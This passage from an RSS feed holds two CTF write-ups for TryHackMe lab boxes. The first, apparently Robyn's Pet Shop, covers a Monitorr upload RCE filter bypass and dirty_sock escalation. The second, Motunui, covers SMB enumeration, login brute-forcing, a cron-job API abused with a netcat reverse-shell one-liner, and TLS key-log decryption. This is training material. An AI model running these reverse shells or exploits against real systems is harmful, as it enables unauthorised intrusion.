Couldn&#39;t establish connection on port 25<br><em>80/tcp</em>    open  http     Apache httpd 2.4.29<br>|_http-title: Did not follow redirect to <a href="https://robyns-petshop.thm/">https://robyns-petshop.thm/</a><br><em>443/tcp</em>   open  ssl/http Apache httpd 2.4.29 ((Ubuntu))<br>|_http-title: Robyn&amp;#039;s Pet Shop<br>| ssl-cert: Subject: commonName=robyns-petshop.thm/organizationName=Robyns Petshop/stateOrProvinceName=South West/countryName=GB<br>| <strong><em>Subject Alternative Name: DNS:robyns-petshop.thm, DNS:monitorr.robyns-petshop.thm, DNS:beta.robyns-petshop.thm, DNS:dev.robyns-petshop.thm</em></strong><br>| Issuer: commonName=robyns-petshop.thm/organizationName=Robyns Petshop/stateOrProvinceName=South West/countryName=GB<br><em>8000/tcp</em>  open  http-alt<br>| fingerprint-strings: <br>|     HTTP/1.1 400 Bad Request<br><em>8096/tcp</em>  open  unknown<br>| fingerprint-strings: <br>|     HTTP/1.1 404 Not Found<br>|     Server: Kestrel<br><em>22222/tcp</em> open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br><br># Nmap done at Sat Apr 24 14:55:52 2021 -- 1 IP address (1 host up) scanned in 203.13 seconds</pre><h4>Ports</h4><ul><li>21 — FTP anonymous access is disabled and I only found DOS vulnerability on this version.</li><li>22 is actually an SSH honeypot and the real one is on port 22222.</li><li>25 is probably fake SMTP, couldn’t use any commands on it.</li><li>80 redirect to <strong><em>https://robyns-petshop.thm</em></strong>, which is <a href="http://picocms.org/">Pico CMS</a> latest version 2.1.4 found by the changelog file [<a href="https://robyns-petshop.thm/themes/default/CHANGELOG.md">https://robyns-petshop.thm/themes/default/CHANGELOG.md</a>]. This is also the same page as in <strong><em>dev.robyns-petshop.thm</em></strong>. I also bruteforce directory and found <strong><em>https://robyns-petshop.thm/business</em></strong>, which is protected by HTTP basic authentication, tried some common credentials but nothing worked. No known vulnerability on this version so I moved on.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DZ8ZGZ-eUuSpMwVUeHL0JA.png" /><figcaption>HTTPS home page (Pico CMS)</figcaption></figure><ul><li>443, got virtual hosts from SSL-cert.</li><li>8000 is also the same as <strong><em>https://beta.robyns-petshop.thm</em></strong><em>, </em>I needed a specific ID here so I bruteforce with numbers but found nothing.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wkR3i6BDgSfH5doVWo5JcQ.png" /><figcaption>beta.robyns-petshop.thm development page</figcaption></figure><ul><li>8096 runs Jellyfin which is a media streaming system. Found <a href="https://chowdera.com/2021/04/20210410213227784j.html">a file read vulnerability on version 10.7.1</a> but again it’s running the latest version 10.7.2 [<a href="http://robyns-petshop.thm:8096/System/Info/Public">http://robyns-petshop.thm:8096/System/Info/Public</a>] and not vulnerable.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y091mreN_UfW-AmiOOeV6w.png" /><figcaption>Jellyfin system info</figcaption></figure><ul><li><strong><em>monitorr.robyns-petshop.thm </em></strong>runs <a href="https://github.com/Monitorr/Monitorr/">monitorr</a> version 1.7.6m and this version is vulnerable to <a href="https://www.exploit-db.com/exploits/48981">an authentication bypass exploit</a> and <a href="https://www.exploit-db.com/exploits/48980">an unauthenticated RCE exploit</a>. To use the settings page, I needed to log in first so I tried some easy credentials like admin/admin, admin/password but nothing worked. According to the login page, the database file can be found at <a href="https://monitorr.robyns-petshop.thm/datausers.db">https://monitorr.robyns-petshop.thm/datausers.db</a>. It contains a username and password hash but the hash isn’t crackable. And the VPN IP address of the server can be obtained in/assets/php/phpinfo.php.</li></ul><pre>curl -s https://monitorr.robyns-petshop.thm/assets/php/phpinfo.php -k | grep -Eo &quot;10\.([0-9]{1,3}\.?){3}&quot;</pre><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a2fa984b7c13e7d6b5bdfca1128fa133/href">https://medium.com/media/a2fa984b7c13e7d6b5bdfca1128fa133/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0uh_vjXEJUfhKolOGHqIsQ.jpeg" /><figcaption>Monitorr 1.7.6m</figcaption></figure><h3>Foothold</h3><p>I start with the RCE exploit using command python3 48980.py <a href="https://monitorr.robyns-petshop.thm/">https://monitorr.robyns-petshop.thm</a> 10.17.1.17 9001 and got this error.</p><pre>requests.exceptions.SSLError: HTTPSConnectionPool(host=&#39;monitorr.robyns-petshop.thm&#39;, port=443): Max retries exceeded with url: /assets/php/upload.php (Caused by SSLError(SSLError(&quot;bad handshake: Error([(&#39;SSL routines&#39;, &#39;tls_process_server_certificate&#39;, &#39;<strong><em>certificate verify failed</em></strong>&#39;)])&quot;)))</pre><p>The script just tries to send a POST request to upload.php to upload a reverse shell payload and send a GET request to the file that just gets uploaded to execute it.</p><p>Python verifies server certificate by default so as a quick fix, I turn off the verification by adding verify=False to each request on line 26 and 31. I also disable insecure warning with line 15 and 17.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/abce61eac43fcbf61e61d15981a2626f/href">https://medium.com/media/abce61eac43fcbf61e61d15981a2626f/href</a></iframe><p>I ran the exploit again no errors this time but it didn’t work. No connection back and on <a href="https://monitorr.robyns-petshop.thm/assets/data/usrimg/">/assets/data/usrimg/</a> directory the file was not uploaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rBb5G7DmJVF1I6CnO7K2zg.png" /></figure><p>The script only sends requests but never print the response so I edit the script a little more on line 26 and 27.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1958f984dfd50287016a63b8dc783a75/href">https://medium.com/media/1958f984dfd50287016a63b8dc783a75/href</a></iframe><p>I ran the exploit again and the response said “<strong><em>You are an exploit.</em></strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*TF6xx8ShzJipuigMahwW-g.png" /><figcaption>Exploit response</figcaption></figure><p>I had a hard time figuring this out, tried a lot of things for example change the reverse shell payload, file name, content type and user agent but nothing worked. Finally, after some research, I could register a new account with <a href="https://www.exploit-db.com/exploits/48981">the auth bypass exploit</a> by changing it to send the request to /assets/php/monitorr-info.php since _register.php doesn’t exist. But this exploit replace existing users with the new one which is not good in real engagement and was an unintended way for this room. Note that Robyn, the owner of these sites, got annoyed with people destroying her database so she already patched this and this will not work any more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vIoopdJudz-9FXC360qOrg.png" /><figcaption>Monitorr services configuration page</figcaption></figure><p>I tried to upload a test file with .gif extension and its magic header and also intercepted this upload request with Burp. The isHuman cookie on the request header caught my eyes instantly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_7xSA_mTwX3zPv-0AGG8BQ.png" /></figure><p>I forward this request and the upload was successful. The file was uploaded and accessible at <a href="https://monitorr.robyns-petshop.thm/assets/data/userimg/test.gif">https://monitorr.robyns-petshop.thm/assets/data/userimg/test.gif</a>. But the PHP script was not executable as the file had an image extension and the PHP extension alone can’t be uploaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YgIuCCaOloB6ZeYPR_bmdw.png" /></figure><p>I then sent the request to Burp repeater and removed the cookie, sent this request, and got the same response as the Python exploit You are an exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xhjH-ysuLv7vswq3ggmUew.png" /></figure><p>Now I know that the upload function checks for the cookie and file extension. I tried many payloads and got it worked. <a href="https://book.hacktricks.xyz/pentesting-web/file-upload">HackTricks</a> helped a lot, highly recommend it. I edit my exploit again by adding the cookie to the header on line 22 and change the file extension to .gif.pHp so my final exploit script looks like this.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/18db3a0cd5630e5cb8f9cfc742e6bc0e/href">https://medium.com/media/18db3a0cd5630e5cb8f9cfc742e6bc0e/href</a></iframe><p>Let’s take a look at the code. It actually just checks if the upload file’s extension is in allowedExts and not include php (lower case) so pHp works. Others like phtml also works since it only filter php.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/0d2f8282cabc4411a96056a45f275377/href">https://medium.com/media/0d2f8282cabc4411a96056a45f275377/href</a></iframe><p>To get a shell set up a Netcat listener and run the exploit with the VPN IP address. python3 48980.py https://monitorr.robyns-petshop.thm 10.17.1.33 443. Note that the exploit only works on port 443, 445, 80, 25 and 53 because of the iptables rule. And I got a shell as www-data. The first flag is in /var/www.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bn4o5oj0_r-Qzia-FRNdVQ.png" /><figcaption>iptables rules</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gIsY6aPUUNrhy6RCPfLtNA.png" /><figcaption>www-data shell</figcaption></figure><h3>Root</h3><p>I started with <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite">LinPEAS</a> and enumerate more for files and credentials, e.g. /srv/ftp nothing inside the FTP server directory that I couldn’t connect to earlier, webserver directories. I found a password hash for basic authentication at /etc/apache2/htpasswd : robyn:$apr1$tMFlj08b$5VCOhI2see0L0WRU8Mn.b. if this can be cracked, I would try to log in as robyn but again it’s uncrackable. <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation">HackTricks</a> saved me again, I ran Linux Exploit Suggester as it suggested. One of the results is dirty_sock and to confirm that the system is vulnerable, the <em>snapd</em> version must be lower than 2.37.1. And it is true, simply use snap --version and the version is 2.32.5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*opqqR3CisqaW5LnabYhWkw.png" /><figcaption>snapd version</figcaption></figure><pre>[+] [CVE-2019-7304] dirty_sock<br>Details: https://initblog.com/2019/dirty-sock/<br>Exposure: less probable<br>Tags: ubuntu=18.10,mint=19<br>Download URL: <a href="https://github.com/initstring/dirty_sock/archive/master.zip">https://github.com/initstring/dirty_sock/archive/master.zip</a><br>Comments: Distros use own versioning scheme. Manual verification needed.</pre><p>Download the exploit with the link above and unzip it. There’re two versions of the exploit. Version one requires outbound Internet and an Ubuntu SSO account which is a bit tricky so I used version two instead, it adds a new user with permission to run any commands as root with sudo to the local system.</p><pre>python3 ./dirty_sockv2.py<br><br>[+] Slipped dirty sock on random socket file: /tmp/iywgwenujg;uid=0;<br>[+] Binding to socket file...<br>[+] Connecting to snapd API...<br>[+] Deleting trojan snap (and sleeping 5 seconds)...<br>[+] Installing the trojan snap (and sleeping 8 seconds)...<br>[+] Deleting trojan snap (and sleeping 5 seconds)...<br><br>********************<br>Success! You can now `su` to the following account and use sudo:<br>   username: dirty_sock<br>   password: dirty_sock<br>********************</pre><p>I checked the passwd file to see if the exploit added a new user. Switch user to dirty_sock and then switch to root with sudo. Time to grab the root flag 🚩</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ir3sGJle1UWqoytZmXLCBA.jpeg" /><figcaption>Switch to root</figcaption></figure><p>Thanks for reading! Feel free to follow me on <a href="https://twitter.com/pomelosec">Twitter</a>. If you have any questions, please don’t hesitate to message me. See you guys later 😊</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/249/1*UqtQIJDTQ49RcI2MqiTsxA.png" /><figcaption>My THM badge</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=929657b70df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Motunui — TryHackMe]]></title>
            <link>https://iriomote.medium.com/motunui-tryhackme-a73032b26705?source=rss-6b8340efe19f------2</link>
            <guid isPermaLink="false">https://medium.com/p/a73032b26705</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[o]]></dc:creator>
            <pubDate>Sun, 11 Oct 2020 10:53:07 GMT</pubDate>
            <atom:updated>2021-04-29T10:41:41.356Z</atom:updated>
            <content:encoded><![CDATA[<h3>Motunui — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*S5GBtYZz3x-xwZEMk3W-Yw.png" /><figcaption>Can you save the island of Motunui?</figcaption></figure><h3>Summary</h3><p>Hello guys, this’s my writeup on the <a href="https://tryhackme.com/room/motunui">Motunui</a> room from TryHackMe, a Moana themed Linux box. This room is rated as hard but it’s not that hard actually. Let’s jump in!</p><h3>Enumeration</h3><p>Start with an nmap scan which shows that there’re 6 ports open.</p><pre># Nmap 7.80 scan initiated Thu Oct  5 11:23:38 2020 as: nmap -sCV -oN nmap/initial 10.10.223.235 -v<br>Nmap scan report for 10.10.223.235 Host is up (0.21s latency). <br>Not shown: 994 filtered ports <br>PORT     STATE SERVICE     VERSION <br>22/tcp   open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3<br>80/tcp   open  http        Apache httpd 2.4.29 ((Ubuntu))<br>139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X<br>445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu<br>3000/tcp open  ppp?<br>5000/tcp open  ssl/http    Node.js (Express middleware)</pre><p>Nothing interesting on HTTP/HTTPS ports as I already tried directory brute force. So I used smbmap to enumerate SMB shares and found one interesting share.</p><pre>omw@kali:~$ smbmap -H 10.10.223.235<br>[+] Guest session     IP: 10.10.223.235:445 Name: 10.10.223.235<br>    Disk                     Permissions       Comment<br>    ----                     -----------       -------<br>    print$                   NO ACCESS         Printer Drivers<br>    <strong>REDACTED</strong>                 READ ONLY         Network shared files<br>    IPC$                     NO ACCESS         IPC Service (motunui</pre><pre>omw@kali:~$ smbmap -H 10.10.223.235 -r <strong>REDACTED</strong><br>[+] Guest session       IP: 10.10.223.235:445    Name: 10.10.223.235<br>        Disk                       Permissions     Comment<br>        ----                       -----------     -------<br>        <strong>REDACTED</strong>                   READ ONLY<br>        .\<strong>REDACTED</strong>\*<br>        dr--r--r--          0 Thu Jul  5 10:48:54 2020    .<br>        dr--r--r--          0 Thu Jul  5 10:48:27 2020    ..<br>        dr--r--r--          0 Thu Jul  5 10:50:12 2020    moana<br>        dr--r--r--          0 Mon Aug  3 23:22:03 2020    maui<br>        dr--r--r--          0 Thu Jul  5 10:50:40 2020    tui</pre><p>Then I use smbget to download all the files in that share.</p><pre>omw@kali:~$ smbget -R smb://10.10.223.235/<strong>REDACTED</strong><br>Password for [omw] connecting to //<strong>REDACTED</strong>/10.10.223.235:<br>Using workgroup WORKGROUP, user omw<br>smb://10.10.223.235/<strong>REDACTED</strong>/moana/ticket_64947.pcapng                                                                    smb://10.10.223.235/<strong>REDACTED</strong>/moana/ticket_31762.pcapng                                                                    smb://10.10.223.235/<strong>REDACTED</strong>/maui/ticket_6746.pcapng                                                                      smb://10.10.223.235/<strong>REDACTED</strong>/tui/ticket_7876.pcapng                                                                       smb://10.10.223.235/<strong>REDACTED</strong>/tui/ticket_1325.pcapng                                                                       Downloaded 77.44kB in 13 seconds</pre><p>The only file that has data on it is <strong>ticket_6746.pcapng</strong>. PCAP is Packet Capture Data which we can use <a href="https://www.wireshark.org/">Wireshark</a> to open.</p><pre>omw@kali:~$ ls -la *<br>maui:<br>total 88<br>drwxr-xr-x 2 omw omw  4096 Oct  5 12:04 .<br>drwxr-xr-x 5 omw omw  4096 Oct  5 12:04 ..<br>-rwxr-xr-x 1 omw omw<strong> 79296 </strong>Oct  5 12:04<strong> ticket_6746.pcapng</strong></pre><pre>moana:<br>total 8<br>drwxr-xr-x 2 omw omw 4096 Oct  5 12:04 .<br>drwxr-xr-x 5 omw omw 4096 Oct  5 12:04 ..<br>-rwxr-xr-x 1 omw omw    <strong>0</strong> Oct  5 12:04 ticket_31762.pcapng<br>-rwxr-xr-x 1 omw omw    <strong>0</strong> Oct  5 12:04 ticket_64947.pcapng</pre><pre>tui:<br>total 8<br>drwxr-xr-x 2 omw omw 4096 Oct  5 12:04 .<br>drwxr-xr-x 5 omw omw 4096 Oct  5 12:04 ..<br>-rwxr-xr-x 1 omw omw    <strong>0</strong> Oct  5 12:04 ticket_1325.pcapng<br>-rwxr-xr-x 1 omw omw    <strong>0</strong> Oct  5 12:04 ticket_7876.pcapng</pre><p>There’s an HTTP image transfer that can export using the menu File &gt; Export Objects &gt; HTTP . Then click on the file and save.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tSc0K2HxYtGMBiyYAkLb-g.png" /><figcaption>Export image file from Pcap</figcaption></figure><p>The image is a screenshot that shows a Virtual Host on the address bar. I then added that to my hosts file. I went to the webpage again with this host but nothing came up so I decided to directory brute force again which led me to another directory.</p><pre>omw@kali:~$ gobuster dir -u http://<strong>REDACTED</strong>/ -w /usr/share/wordlists/dirb/common.txt<br>===============================================================<br>2020/10/05 16:34:44 Starting gobuster<br>===============================================================<br>/.htpasswd (Status: 403)<br>/.hta (Status: 403)<br>/.htaccess (Status: 403)<br>/<strong>REDACTED</strong> (Status: 301)<br>/index.php (Status: 200)<br>/javascript (Status: 301)<br>/server-status (Status: 403)<br>===============================================================<br>2020/10/05 16:35:20 Finished<br>===============================================================</pre><p>I went to this directory and it redirected to a readme file, markdown file that links to more markdown files.</p><pre>omw@kali:~$ cat README.md<br># Documentation for the in-development API</pre><pre>##### [Changelog](CHANGELOG.md) | [Issues](ISSUES.md)</pre><pre>Please do not distribute this documentation outside of the development team.</pre><pre>## Routes<br>Find all of the routes [here](ROUTES.md).</pre><p>The only interesting file is <a href="http://routes.md/">ROUTES.md</a>. This shows me another vhost as well as routes that I can create a new cron job, which I can use for a reverse shell. But it requires a credential hash parameter means that I’ll need to find a credential to log in first.</p><pre># Routes</pre><pre>The base URL for the api is `<strong>REDACTED</strong>`.</pre><pre>### `<strong><em>POST /login</em></strong>`<br>Returns the hash for the specified user to be used for authorisation.<br>#### Parameters<br><strong><em>- `username`<br>- `password`</em></strong><br>#### Response (200)<br>```js<br>{<br>        &quot;hash&quot;: String()<br>}<br>```<br>#### Response (401)<br>```js<br>{<br>        &quot;error&quot;: &quot;invalid credentials&quot;<br>}<br>```</pre><pre>### 🔐 `GET /jobs`<br>Returns all the cron jobs running as the current user.<br>#### Parameters<br>- `hash`<br>#### Response (200)<br>```js<br>{<br>        &quot;jobs&quot;: Array()<br>}<br>```<br>#### Response (403)<br>```js<br>{<br>        &quot;error&quot;: &quot;you are unauthorised to view this resource&quot;<br>}<br>```</pre><pre>### 🔐 `<strong><em>POST /jobs</em></strong>`<br><strong><em>Creates a new cron job</em></strong> running as the current user.<br>#### Parameters<br><strong><em>- `hash`</em></strong><br>#### Response (201)<br>```js<br>{<br>        &quot;job&quot;: String()<br>}<br>```<br>#### Response (401)<br>```js<br>{<br>        &quot;error&quot;: &quot;you are unauthorised to view this resource&quot;<br>}<br>```</pre><p>Add the virtual host from this file to hosts file. Now I can brute force /login . I also found a <a href="https://www.jake-ruston.com/">blog</a> of the creator of this box on the PCAP file which led me to his <a href="https://github.com/Jake-Ruston/JSONBrute">JSONBrute</a> tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SByjliwsBR7gvBH0" /></figure><p>Time to brute!</p><pre>omw@kali:~/JSONBrute$ ./jsonbrute.py --url http://<strong>REDACTED</strong>/login --wordlist rockyou-45.txt --data &quot;username=<strong>REDACTED</strong>, password=FUZZ&quot; --code 200<br>[*] Starting JSONBrute on http://<strong>REDACTED</strong>/login<br>[+] Found &quot;password&quot;: <strong>REDACTED</strong></pre><p>You can also use wfuzz with Content-Type: application/json header to fuzz</p><pre>omw@kali:~$ wfuzz -c -H &quot;Content-Type: application/json&quot; -w rockyou-45.txt -d &#39;{&quot;username&quot;:&quot;<strong>REDACTED</strong>&quot;, &quot;password&quot;:&quot;FUZZ&quot;}&#39; -X POST -u &quot;http://<strong>REDACTED</strong>/login&quot; --hc 401<br>Target: http://<strong>REDACTED</strong>/login<br>Total requests: 6163  ================================================================== ID Response   Lines      Word         Chars          Payload     ==================================================================  xxxxxx:       C=200      0 L          1 W  19 Ch     &quot;<strong>REDACTED</strong>&quot;<br>Total time: 7.554058<br>Processed Requests: 6163<br>Filtered Requests: 6162<br>Requests/sec.: 815.8528</pre><p>Then I used curl to send a POST request to get the hash and send a GET request to get all cron jobs.</p><pre>omw@kali:~$ curl <strong>REDACTED</strong>/login -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;username&quot;:&quot;<strong>REDACTED</strong>&quot;,&quot;password&quot;:&quot;<strong>REDACTED</strong>&quot;}&#39;</pre><pre>{&quot;hash&quot;:&quot;<strong>REDACTED</strong>&quot;}</pre><pre>omw@kali:~$ curl -X GET <strong>REDACTED</strong>/jobs -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;hash&quot;:&quot;<strong>REDACTED</strong>&quot;}&#39;</pre><pre>{&quot;jobs&quot;:[&quot;* * * * * echo \&quot;They have stolen the heart from inside you, but that does not define you\&quot; &gt; /tmp/quote&quot;]}</pre><h3>Initial Foothold</h3><p>It’s time to get a shell! I used * * * * * which means the payload runs every minute. You can craft your own cron easily at <a href="https://crontab.guru/">Crontab.guru</a>.</p><pre>omw@kali:~$ curl -X POST <strong>REDACTED</strong>/jobs -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;hash&quot;:&quot;<strong>REDACTED</strong>&quot;,&quot;job&quot;:&quot;* * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc [<strong><em>tun0-ip</em></strong>] 1234 &gt;/tmp/f&quot;}&#39;</pre><pre>{&quot;job&quot;:&quot;* * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc [<strong><em>tun0-ip</em></strong>] 1234 &gt;/tmp/f&quot;}</pre><p>One minute passed, and we got a shell as www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rriFhQVDhOLCNNLedmXHVQ.png" /></figure><p>On the home directory of the user, we couldn’t read the user flag yet. But we could read the readme file which mentioned the packet tracer file.</p><pre>www-data@motunui:/home/<strong>REDACTED</strong>$ ls<br>read_me  user.txt<br>www-data@motunui:/home/<strong>REDACTED</strong>$ cat read_me<br>I know you&#39;ve been on vacation and the last thing you want is me nagging you.  But will you please consider not using the same password for all services? It puts us all at risk.  I have started planning the new network design in <strong>packet tracer</strong>, and since you&#39;re &#39;the best engineer this island has seen&#39;, go find it and finish it.</pre><p>I used find to search for files owned by the user. I downloaded the file and used Cisco Packet Tracer, a networking simulation tool to open it.</p><pre>www-data@motunui:/home/<strong>REDACTED</strong>$ find / -user <strong>REDACTED </strong>2&gt;/dev/null<br><strong>/etc/REDACTED<br></strong><em>/etc/</em><strong>REDACTED</strong></pre><pre>www-data@motunui:/home/<strong>REDACTED</strong>$ ls -la <strong>REDACTED</strong><br>-rwxrwx<strong>rwx</strong> 1 <strong>REDACTED REDACTED </strong>75918 Jul  9 03:19 <strong>/etc/REDACTED</strong><br>-rw----<strong><em>---</em></strong> 1 <strong>REDACTED REDACTED </strong>11890 Aug  3 16:24 /etc/<strong>REDACTED</strong></pre><h3>User</h3><p>Open the Switch menu and you can either use IOS command on the CLI tab or just export the config on the Config tab and read the exported file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-BvNYp47tqka11vaNO4kJg.png" /><figcaption>Packet Tracer showing the running-config</figcaption></figure><p>The readme file also mentioned that the user<strong> </strong>reuses the same password. So I used the password found to SSH in.</p><h3>Root</h3><p>There was another file that we didn’t have permission to read earlier. I found that it’s a pre-master secret key uses to decrypt TLS which we can use in Wireshark as we also found some TLS traffics on the PCAP file. Also on newer versions of Wireshark if you can’t find the SSL protocol then search for TLS instead.</p><pre><strong>REDACTED</strong>@motunui:~$ cat /etc/<strong>REDACTED</strong><br>CLIENT_RANDOM 432738e149bdfb67ce70ca989045c1f2f7589d688e81c327c57f38e1ed457295 ee0b404dfdb59ecda7e017d417afa<br>CLIENT_HANDSHAKE_TRAFFIC_SECRET ecd91572d3cead7a6fe73f1427bdf8a91ee98bcf34c52123209d3ca9d4170d77 SERVER_HANDSHAKE_TRAFFIC_SECRET ecd91572d3cead7a6fe73f1427bdf8d8dc43372d57151975<br>CLIENT_TRAFFIC_SECRET_0 ecd91572d3cead7a6fe73f1427bdf8d8dc434cff3e4f739a <br>.<br>.<br>.</pre><p><a href="https://www.comparitech.com/net-admin/decrypt-ssl-with-wireshark/">Decrypt SSL with Wireshark - HTTPS Decryption: Step-by-Step Guide</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q7PP5ATCaN7YfsI7LB0onw.png" /><figcaption>Decrypting TLS traffics</figcaption></figure><p>Finally, we got the root password and now we can switch user to root with su and the password we just got.</p><pre>root@motunui:~# id<br>uid=0(root) gid=0(root) groups=0(root)<br>root@motunui:~# cat root.txt<br>THM{<strong>REDACTED</strong>}</pre><p>This is my first writeup on medium please be nice hehe. Feedbacks are always welcome! And if you have any questions, please don’t hesitate to contact me on <a href="https://twitter.com/pomelosec">Twitter</a>. See you guys later :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/249/1*yZl0xEeOMrvNwLwLLYCN_w.png" /><figcaption>My TryHackMe Badge</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a73032b26705" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>